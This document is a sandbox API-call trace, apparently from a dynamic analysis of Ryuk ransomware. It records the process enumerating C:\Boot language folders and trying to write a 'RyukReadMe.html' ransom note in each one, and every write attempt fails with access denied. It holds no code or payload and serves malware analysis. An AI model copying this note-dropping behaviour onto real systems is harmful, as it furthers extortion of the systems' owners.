	[0157.932] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.932] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.932] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.932] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.933] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0157.933] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0157.933] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.933] SetLastError (dwErrCode=0x0) 
	[0157.933] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\RyukReadMe.html" (normalized: "c:\\boot\\pt-pt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.933] GetLastError () returned 0x5
	[0157.933] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.934] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.934] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0157.934] SetLastError (dwErrCode=0x0) 
	[0157.934] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.934] GetLastError () returned 0x5
	[0157.934] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.934] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.935] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.935] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.935] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0157.935] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0157.935] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.935] SetLastError (dwErrCode=0x0) 
	[0157.936] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\RyukReadMe.html" (normalized: "c:\\boot\\ru-ru\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.936] GetLastError () returned 0x5
	[0157.936] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.936] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.936] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0157.936] SetLastError (dwErrCode=0x0) 
	[0157.936] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.937] GetLastError () returned 0x5
	[0157.937] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.937] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.937] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.937] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.937] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0157.938] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0157.938] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.938] SetLastError (dwErrCode=0x0) 
	[0157.938] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\RyukReadMe.html" (normalized: "c:\\boot\\sv-se\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.938] GetLastError () returned 0x5
	[0157.938] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.938] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.938] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0157.939] SetLastError (dwErrCode=0x0) 
	[0157.939] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.939] GetLastError () returned 0x5
	[0157.939] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.939] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.939] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.939] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.940] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0157.940] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0157.940] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.940] SetLastError (dwErrCode=0x0) 
	[0157.940] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\RyukReadMe.html" (normalized: "c:\\boot\\tr-tr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.940] GetLastError () returned 0x5
	[0157.941] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.941] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.941] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0157.941] SetLastError (dwErrCode=0x0) 
	[0157.941] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.941] GetLastError () returned 0x5
	[0157.941] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.941] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.942] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0157.942] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.942] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0157.942] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0157.942] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0157.942] SetLastError (dwErrCode=0x0) 
	[0157.943] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\RyukReadMe.html" (normalized: "c:\\boot\\zh-cn\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.943] GetLastError () returned 0x5
	[0157.943] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.943] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.943] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0157.943] SetLastError (dwErrCode=0x0) 
	[0157.943] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.944] GetLastError () returned 0x5
	[0157.944] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0157.944] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.944] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*.*", lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c090
	[0158.214] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.214] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0158.214] FindNextFileW (in: hFindFile=0x7c090, lpFindFileData=0x218d970 | out: lpFindFileData=0x218d970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x2e, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0158.215] FindClose (in: hFindFile=0x7c090 | out: hFindFile=0x7c090) returned 1
	[0158.215] SetLastError (dwErrCode=0x0) 
	[0158.215] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\RyukReadMe.html" (normalized: "c:\\boot\\zh-hk\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.215] GetLastError () returned 0x5
	[0158.215] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0158.215] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.215] FindNextFileW (in: hFindFile=0x7bf10, lpFindFileData=0x218e0a0 | out: lpFindFileData=0x218e0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0158.216] SetLastError (dwErrCode=0x0) 
	[0158.216] CreateFileW (lpFileName="C:\\Boot\\RyukReadMe.html" (normalized: "c:\\boot\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.216] GetLastError () returned 0x5
	[0158.216] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218dfe8, lpOverlapped=0x0) returned 0
	[0158.216] CloseHandle (hObject=0xffffffffffffffff) returned 0
